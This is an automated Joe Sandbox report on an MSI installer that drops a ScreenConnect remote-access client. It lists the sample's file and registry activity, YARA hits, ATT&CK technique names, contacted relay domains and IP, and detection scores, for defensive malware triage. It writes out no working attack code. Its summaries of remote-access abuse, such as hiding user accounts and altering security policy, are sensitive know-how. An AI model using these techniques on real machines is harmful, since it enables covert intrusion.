                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exeQueries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformationJump to behavior
                  Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
                  Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
                  Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
                  Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
                  Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
                  Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
                  Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
                  Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformationJump to behavior
                  Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformationJump to behavior
                  Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformationJump to behavior
                  Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformationJump to behavior
                  Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
                  Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeCode function: 6_2_0572E7C8 CreateNamedPipeW,6_2_0572E7C8
                  Source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exeCode function: 6_2_01874D2F RtlGetVersion,6_2_01874D2F
                  Source: C:\Windows\SysWOW64\rundll32.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

                  Lowering of HIPS / PFW / Operating System Security Settings

                  barindex
                  Modifies security policies related information
                  Source: C:\Windows\System32\msiexec.exeRegistry key created or modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa Authentication PackagesJump to behavior
                  Source: Yara matchFile source: 7.2.ScreenConnect.WindowsClient.exe.23ffa10.4.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 7.0.ScreenConnect.WindowsClient.exe.40000.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 00000007.00000000.1732916566.0000000000042000.00000002.00000001.01000000.00000010.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000007.00000002.2940786358.0000000002381000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: Process Memory Space: ScreenConnect.WindowsClient.exe PID: 7716, type: MEMORYSTR
                  Source: Yara matchFile source: C:\Windows\Installer\MSI15E7.tmp, type: DROPPED
                  Source: Yara matchFile source: C:\Config.Msi\4c1433.rbs, type: DROPPED
                  Source: Yara matchFile source: C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exe, type: DROPPED

                  Mitre Att&ck Matrix

                  ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                  Gather Victim Identity InformationAcquire Infrastructure1
                  Valid Accounts                  		1
                  Native API                  		1
                  DLL Side-Loading                  		1
                  DLL Side-Loading                  		11
                  Disable or Modify Tools                  		OS Credential Dumping11
                  Peripheral Device Discovery                  		Remote Services1
                  Archive Collected Data                  		12
                  Encrypted Channel                  		Exfiltration Over Other Network MediumAbuse Accessibility Features
                  CredentialsDomains1
                  Replication Through Removable Media                  		1
                  Command and Scripting Interpreter                  		1
                  Valid Accounts                  		1
                  Valid Accounts                  		1
                  Obfuscated Files or Information                  		LSASS Memory24
                  System Information Discovery                  		Remote Desktop ProtocolData from Removable Media1
                  Non-Application Layer Protocol                  		Exfiltration Over BluetoothNetwork Denial of Service
                  Email AddressesDNS ServerDomain Accounts1
                  Scheduled Task/Job                  		2
                  Windows Service                  		1
                  Access Token Manipulation                  		1
                  Timestomp                  		Security Account Manager11
                  Security Software Discovery                  		SMB/Windows Admin SharesData from Network Shared Drive2
                  Application Layer Protocol                  		Automated ExfiltrationData Encrypted for Impact
                  Employee NamesVirtual Private ServerLocal AccountsCron1
                  Scheduled Task/Job                  		2
                  Windows Service                  		1
                  DLL Side-Loading                  		NTDS3
                  Virtualization/Sandbox Evasion                  		Distributed Component Object ModelInput CaptureProtocol ImpersonationTraffic DuplicationData Destruction
                  Gather Victim Network InformationServerCloud AccountsLaunchd1
                  Bootkit                  		3
                  Process Injection                  		1
                  File Deletion                  		LSA Secrets2
                  Process Discovery                  		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
                  Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC Scripts1
                  Scheduled Task/Job                  		22
                  Masquerading                  		Cached Domain CredentialsWi-Fi DiscoveryVNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                  DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
                  Valid Accounts                  		DCSyncRemote System DiscoveryWindows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                  Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
                  Access Token Manipulation                  		Proc FilesystemSystem Owner/User DiscoveryCloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
                  Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt3
                  Virtualization/Sandbox Evasion                  		/etc/passwd and /etc/shadowNetwork SniffingDirect Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
                  IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCron3
                  Process Injection                  		Network SniffingNetwork Service DiscoveryShared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement
                  Network Security AppliancesDomainsCompromise Software Dependencies and Development ToolsAppleScriptLaunchdLaunchd1
                  Hidden Users                  		Input CaptureSystem Network Connections DiscoverySoftware Deployment ToolsRemote Data StagingMail ProtocolsExfiltration Over Unencrypted Non-C2 ProtocolFirmware Corruption
                  Gather Victim Org InformationDNS ServerCompromise Software Supply ChainWindows Command ShellScheduled TaskScheduled Task1
                  Bootkit                  		KeyloggingProcess DiscoveryTaint Shared ContentScreen CaptureDNSExfiltration Over Physical MediumResource Hijacking
                  Determine Physical LocationsVirtual Private ServerCompromise Hardware Supply ChainUnix ShellSystemd TimersSystemd Timers1
                  Rundll32                  		GUI Input CapturePermission Groups DiscoveryReplication Through Removable MediaEmail CollectionProxyExfiltration over USBNetwork Denial of Service

                  Behavior Graph

                  Hide Legend

                  Legend:

                  • Process
                  • Signature
                  • Created File
                  • DNS/IP Info
                  • Is Dropped
                  • Is Windows Process
                  • Number of created Registry Values
                  • Number of created Files
                  • Visual Basic
                  • Delphi
                  • Java
                  • .Net C# or VB.NET
                  • C, C++ or other language
                  • Is malicious
                  • Internet
                  behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1543205 Sample: INSPECAO-B01S.msi Startdate: 27/10/2024 Architecture: WINDOWS Score: 72 50 instance-xkznvd-relay.screenconnect.com 2->50 52 server-nix9656e2a4-relay.screenconnect.com 2->52 58 .NET source code references suspicious native API functions 2->58 60 Contains functionality to hide user accounts 2->60 62 AI detected suspicious sample 2->62 64 Sigma detected: Remote Access Tool - ScreenConnect Suspicious Execution 2->64 8 msiexec.exe 94 48 2->8         started        12 ScreenConnect.ClientService.exe 17 21 2->12         started        15 svchost.exe 1 1 2->15         started        17 2 other processes 2->17 signatures3 process4 dnsIp5 32 C:\...\ScreenConnect.ClientService.exe, PE32 8->32 dropped 34 C:\Windows\Installer\MSI17AE.tmp, PE32 8->34 dropped 36 C:\Windows\Installer\MSI1608.tmp, PE32 8->36 dropped 40 9 other files (none is malicious) 8->40 dropped 66 Enables network access during safeboot for specific services 8->66 68 Modifies security policies related information 8->68 19 msiexec.exe 8->19         started        21 msiexec.exe 1 8->21         started        23 msiexec.exe 8->23         started        54 server-nix9656e2a4-relay.screenconnect.com 147.75.63.168, 443, 49730, 49733 PACKETUS Switzerland 12->54 70 Reads the Security eventlog 12->70 72 Reads the System eventlog 12->72 25 ScreenConnect.WindowsClient.exe 2 12->25         started        56 127.0.0.1 unknown unknown 15->56 38 C:\Users\user\AppData\Local\Temp\MSIBC6.tmp, PE32 17->38 dropped file6 signatures7 process8 signatures9 28 rundll32.exe 20 19->28         started        74 Contains functionality to hide user accounts 25->74 process10 file11 42 C:\Users\user\...\ScreenConnect.Windows.dll, PE32 28->42 dropped 44 C:\...\ScreenConnect.InstallerActions.dll, PE32 28->44 dropped 46 C:\Users\user\...\ScreenConnect.Core.dll, PE32 28->46 dropped 48 4 other files (none is malicious) 28->48 dropped 76 Contains functionality to hide user accounts 28->76 signatures12

                  Screenshots

                  Thumbnails

                  This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                  windows-stand

                  Antivirus, Machine Learning and Genetic Malware Detection

                  Initial Sample

                  SourceDetectionScannerLabelLink
                  INSPECAO-B01S.msi5%ReversingLabsWin32.Trojan.Malgent

                  Dropped Files

                  SourceDetectionScannerLabelLink
                  C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.Client.dll0%ReversingLabs
                  C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.dll0%ReversingLabs
                  C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.ClientService.exe0%ReversingLabs
                  C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.Core.dll0%ReversingLabs
                  C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.Windows.dll0%ReversingLabs
                  C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsAuthenticationPackage.dll0%ReversingLabs
                  C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsBackstageShell.exe0%ReversingLabs
                  C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsClient.exe0%ReversingLabs
                  C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsCredentialProvider.dll0%ReversingLabs
                  C:\Program Files (x86)\ScreenConnect Client (3a24aebb8959bcfa)\ScreenConnect.WindowsFileManager.exe0%ReversingLabs
                  C:\Users\user\AppData\Local\Temp\MSIBC6.tmp0%ReversingLabs
                  C:\Users\user\AppData\Local\Temp\MSIBC6.tmp-\Microsoft.Deployment.Compression.Cab.dll0%ReversingLabs
                  C:\Users\user\AppData\Local\Temp\MSIBC6.tmp-\Microsoft.Deployment.Compression.dll0%ReversingLabs
                  C:\Users\user\AppData\Local\Temp\MSIBC6.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll0%ReversingLabs
                  C:\Users\user\AppData\Local\Temp\MSIBC6.tmp-\Microsoft.Deployment.WindowsInstaller.dll0%ReversingLabs
                  C:\Users\user\AppData\Local\Temp\MSIBC6.tmp-\ScreenConnect.Core.dll0%ReversingLabs
                  C:\Users\user\AppData\Local\Temp\MSIBC6.tmp-\ScreenConnect.InstallerActions.dll0%ReversingLabs
                  C:\Users\user\AppData\Local\Temp\MSIBC6.tmp-\ScreenConnect.Windows.dll0%ReversingLabs
                  C:\Windows\Installer\MSI1608.tmp0%ReversingLabs
                  C:\Windows\Installer\MSI17AE.tmp0%ReversingLabs

                  Unpacked PE Files

                  ⊘No Antivirus matches

                  Domains

                  ⊘No Antivirus matches

                  URLs

                  SourceDetectionScannerLabelLink
                  http://www.fontbureau.com0%URL Reputationsafe
                  http://www.fontbureau.com/designersG0%URL Reputationsafe
                  http://www.fontbureau.com/designers/?0%URL Reputationsafe
                  http://www.founder.com.cn/cn/bThe0%URL Reputationsafe
                  http://www.fontbureau.com/designers?0%URL Reputationsafe
                  https://docs.rs/getrandom#nodejs-es-module-support0%URL Reputationsafe
                  http://www.tiro.com0%URL Reputationsafe
                  https://g.live.com/odclientsettings/ProdV2.C:0%URL Reputationsafe
                  http://www.fontbureau.com/designers0%URL Reputationsafe
                  http://www.goodfont.co.kr0%URL Reputationsafe
                  http://www.carterandcone.coml0%URL Reputationsafe
                  http://www.sajatypeworks.com0%URL Reputationsafe
                  http://www.typography.netD0%URL Reputationsafe
                  https://g.live.com/odclientsettings/Prod.C:0%URL Reputationsafe
                  http://www.fontbureau.com/designers/cabarga.htmlN0%URL Reputationsafe
                  http://www.founder.com.cn/cn/cThe0%URL Reputationsafe
                  http://www.galapagosdesign.com/staff/dennis.htm0%URL Reputationsafe
                  http://www.founder.com.cn/cn0%URL Reputationsafe
                  http://www.fontbureau.com/designers/frere-user.html0%URL Reputationsafe
                  https://g.live.com/odclientsettings/ProdV20%URL Reputationsafe
                  https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c960%URL Reputationsafe
                  http://www.jiyu-kobo.co.jp/0%URL Reputationsafe
                  https://feedback.screenconnect.com/Feedback.axd0%URL Reputationsafe
                  http://www.galapagosdesign.com/DPlease0%URL Reputationsafe
                  http://www.fontbureau.com/designers80%URL Reputationsafe
                  http://www.fonts.com0%URL Reputationsafe
                  http://www.sandoll.co.kr0%URL Reputationsafe
                  http://www.urwpp.deDPlease0%URL Reputationsafe
                  http://www.zhongyicts.com.cn0%URL Reputationsafe
                  http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name0%URL Reputationsafe
                  http://www.sakkal.com0%URL Reputationsafe
                  https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b60%URL Reputationsafe

                  Domains and IPs

                  Contacted Domains

                  NameIPActiveMaliciousAntivirus DetectionReputation
                  server-nix9656e2a4-relay.screenconnect.com
                  		147.75.63.168
                  		truefalse
                    		unknown
                    instance-xkznvd-relay.screenconnect.com
                    		unknown
                    		unknowntrue
                      		unknown

                      URLs from Memory and Binaries

                      NameSourceMaliciousAntivirus DetectionReputation
                      http://www.apache.org/licenses/LICENSE-2.0ScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpfalse
                        		unknown
                        http://www.fontbureau.comScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpfalse
                        • URL Reputation: safe
                        		unknown
                        http://www.fontbureau.com/designersGScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpfalse
                        • URL Reputation: safe
                        		unknown
                        http://instance-xkznvd-relay.screenconnect.com:443/VScreenConnect.ClientService.exe, 00000006.00000002.2939627103.00000000013A1000.00000004.00000020.00020000.00000000.sdmpfalse
                          		unknown
                          http://www.fontbureau.com/designers/?ScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpfalse
                          • URL Reputation: safe
                          		unknown
                          http://www.founder.com.cn/cn/bTheScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpfalse
                          • URL Reputation: safe
                          		unknown
                          http://www.fontbureau.com/designers?ScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpfalse
                          • URL Reputation: safe
                          		unknown
                          http://wixtoolset.org/Whttp://wixtoolset.org/telemetry/vrundll32.exe, 00000003.00000003.1697090286.0000000004801000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1697090286.0000000004872000.00000004.00000020.00020000.00000000.sdmp, Microsoft.Deployment.Compression.Cab.dll.3.dr, Microsoft.Deployment.WindowsInstaller.dll.3.dr, Microsoft.Deployment.WindowsInstaller.Package.dll.3.dr, Microsoft.Deployment.Compression.dll.3.drfalse
                            		unknown
                            https://docs.rs/getrandom#nodejs-es-module-supportScreenConnect.WindowsCredentialProvider.dll.1.drfalse
                            • URL Reputation: safe
                            		unknown
                            http://instance-xkznvd-relay.screenconnect.com:443/dScreenConnect.ClientService.exe, 00000006.00000002.2940900187.0000000002397000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000006.00000002.2940900187.0000000002466000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000006.00000002.2940900187.00000000022C6000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000006.00000002.2940900187.00000000020CE000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000006.00000002.2940900187.000000000237D000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000006.00000002.2940900187.0000000002178000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000006.00000002.2940900187.0000000002234000.00000004.00000800.00020000.00000000.sdmpfalse
                              		unknown
                              http://crl.ver)svchost.exe, 00000008.00000002.2942134728.0000017F9328D000.00000004.00000020.00020000.00000000.sdmpfalse
                                		unknown
                                http://www.tiro.comScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpfalse
                                • URL Reputation: safe
                                		unknown
                                https://g.live.com/odclientsettings/ProdV2.C:edb.log.8.drfalse
                                • URL Reputation: safe
                                		unknown
                                http://www.fontbureau.com/designersScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpfalse
                                • URL Reputation: safe
                                		unknown
                                http://wixtoolset.org/news/rundll32.exe, 00000003.00000003.1697090286.0000000004801000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1697090286.0000000004872000.00000004.00000020.00020000.00000000.sdmp, Microsoft.Deployment.Compression.Cab.dll.3.dr, Microsoft.Deployment.WindowsInstaller.dll.3.dr, Microsoft.Deployment.WindowsInstaller.Package.dll.3.dr, Microsoft.Deployment.Compression.dll.3.drfalse
                                  		unknown
                                  http://www.goodfont.co.krScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpfalse
                                  • URL Reputation: safe
                                  		unknown
                                  http://instance-xkznvd-relay.screenconnect.com:443/lScreenConnect.ClientService.exe, 00000006.00000002.2939627103.00000000013A1000.00000004.00000020.00020000.00000000.sdmpfalse
                                    		unknown
                                    http://www.carterandcone.comlScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpfalse
                                    • URL Reputation: safe
                                    		unknown
                                    http://instance-xkznvd-relay.screenconnect.com:443/rScreenConnect.ClientService.exe, 00000006.00000002.2939627103.00000000013A1000.00000004.00000020.00020000.00000000.sdmpfalse
                                      		unknown
                                      http://www.sajatypeworks.comScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpfalse
                                      • URL Reputation: safe
                                      		unknown
                                      http://www.typography.netDScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpfalse
                                      • URL Reputation: safe
                                      		unknown
                                      https://g.live.com/odclientsettings/Prod.C:edb.log.8.drfalse
                                      • URL Reputation: safe
                                      		unknown
                                      http://www.fontbureau.com/designers/cabarga.htmlNScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpfalse
                                      • URL Reputation: safe
                                      		unknown
                                      http://www.founder.com.cn/cn/cTheScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpfalse
                                      • URL Reputation: safe
                                      		unknown
                                      http://www.galapagosdesign.com/staff/dennis.htmScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpfalse
                                      • URL Reputation: safe
                                      		unknown
                                      http://wixtoolset.org/releases/rundll32.exe, 00000003.00000003.1697090286.0000000004801000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1697090286.0000000004872000.00000004.00000020.00020000.00000000.sdmp, Microsoft.Deployment.Compression.Cab.dll.3.dr, Microsoft.Deployment.WindowsInstaller.dll.3.dr, Microsoft.Deployment.WindowsInstaller.Package.dll.3.dr, Microsoft.Deployment.Compression.dll.3.drfalse
                                        		unknown
                                        http://www.founder.com.cn/cnScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpfalse
                                        • URL Reputation: safe
                                        		unknown
                                        http://www.fontbureau.com/designers/frere-user.htmlScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpfalse
                                        • URL Reputation: safe
                                        		unknown
                                        https://g.live.com/odclientsettings/ProdV2edb.log.8.drfalse
                                        • URL Reputation: safe
                                        		unknown
                                        http://instance-xkznvd-relay.screenconnect.com:443/8ScreenConnect.ClientService.exe, 00000006.00000002.2939627103.00000000013A1000.00000004.00000020.00020000.00000000.sdmpfalse
                                          		unknown
                                          https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96svchost.exe, 00000008.00000003.1757539471.0000017F930F2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.drfalse
                                          • URL Reputation: safe
                                          		unknown
                                          http://instance-xkznvd-relay.screenconnect.com:443/ScreenConnect.ClientService.exe, 00000006.00000002.2939627103.00000000013A1000.00000004.00000020.00020000.00000000.sdmpfalse
                                            		unknown
                                            http://www.jiyu-kobo.co.jp/ScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpfalse
                                            • URL Reputation: safe
                                            		unknown
                                            https://feedback.screenconnect.com/Feedback.axdScreenConnect.Core.dll.3.drfalse
                                            • URL Reputation: safe
                                            		unknown
                                            http://www.galapagosdesign.com/DPleaseScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpfalse
                                            • URL Reputation: safe
                                            		unknown
                                            http://www.fontbureau.com/designers8ScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpfalse
                                            • URL Reputation: safe
                                            		unknown
                                            http://www.fonts.comScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpfalse
                                            • URL Reputation: safe
                                            		unknown
                                            http://www.sandoll.co.krScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpfalse
                                            • URL Reputation: safe
                                            		unknown
                                            http://www.urwpp.deDPleaseScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpfalse
                                            • URL Reputation: safe
                                            		unknown
                                            http://www.zhongyicts.com.cnScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpfalse
                                            • URL Reputation: safe
                                            		unknown
                                            http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameScreenConnect.ClientService.exe, 00000006.00000002.2940900187.0000000002002000.00000004.00000800.00020000.00000000.sdmpfalse
                                            • URL Reputation: safe
                                            		unknown
                                            http://www.sakkal.comScreenConnect.WindowsClient.exe, 00000007.00000002.2947333644.000000001CE62000.00000004.00000800.00020000.00000000.sdmpfalse
                                            • URL Reputation: safe
                                            		unknown
                                            https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6svchost.exe, 00000008.00000003.1757539471.0000017F930F2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.drfalse
                                            • URL Reputation: safe
                                            		unknown

                                            World Map of Contacted IPs

                                            • No. of IPs < 25%
                                            • 25% < No. of IPs < 50%
                                            • 50% < No. of IPs < 75%
                                            • 75% < No. of IPs

                                            Public IPs

                                            IPDomainCountryFlagASNASN NameMalicious
                                            147.75.63.168
                                            		server-nix9656e2a4-relay.screenconnect.comSwitzerland
                                            		54825PACKETUSfalse

                                            Private

                                            IP
                                            127.0.0.1

                                            General Information

                                            Joe Sandbox version:41.0.0 Charoite
                                            Analysis ID:1543205
                                            Start date and time:2024-10-27 12:00:14 +01:00
                                            Joe Sandbox product:CloudBasic
                                            Overall analysis duration:0h 7m 32s
                                            Hypervisor based Inspection enabled:false
                                            Report type:full
                                            Cookbook file name:default.jbs
                                            Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                            Number of analysed new started processes analysed:14
                                            Number of new started drivers analysed:0
                                            Number of existing processes analysed:0
                                            Number of existing drivers analysed:0
                                            Number of injected processes analysed:0
                                            Technologies:
                                            • HCA enabled
                                            • EGA enabled
